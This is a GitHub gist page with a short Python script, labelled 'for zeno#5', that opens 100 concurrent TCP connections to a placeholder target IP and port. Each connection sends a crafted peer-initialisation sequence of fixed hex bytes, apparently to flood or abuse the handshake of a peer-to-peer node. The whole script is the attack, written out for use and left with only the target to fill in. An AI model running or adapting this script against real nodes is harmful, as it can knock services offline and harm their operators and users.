Skip to content

Instantly share code, notes, and snippets.

@Alrighttt
Created June 18, 2020 12:07
Show Gist options
  • Save Alrighttt/f0c570ebaa6efddd87c843147cf92ab6 to your computer and use it in GitHub Desktop.
Save Alrighttt/f0c570ebaa6efddd87c843147cf92ab6 to your computer and use it in GitHub Desktop.
for zeno#5
#!/usr/bin/env python3
import binascii
import logging
import time
import gevent
import struct
from gevent import socket
def init_peer(peer, port):
sends = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sends.connect(peer)
sends.sendall(b'\0' + struct.pack('>H', port))
sends.sendall(binascii.unhexlify(b'00000011e4dfbbb9aeaff2c844181d5f031f2cac00'))
sends.sendall(binascii.unhexlify(b'00000000'))
logging.info("sent init to peer %s", peer)
logging.basicConfig(format='%(asctime)s: %(message)s', level=logging.INFO,
datefmt='%Y-%m-%d %H:%M:%S')
# init settings, will make these based on config file or command line args
PY_PORT = 8888
PEER = ('<TARGET IP>', <TARGET PORT>)
if __name__ == '__main__':
what = []
for i in range(PY_PORT, PY_PORT+100):
what.append(gevent.spawn(init_peer, PEER, i))
gevent.joinall(what)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment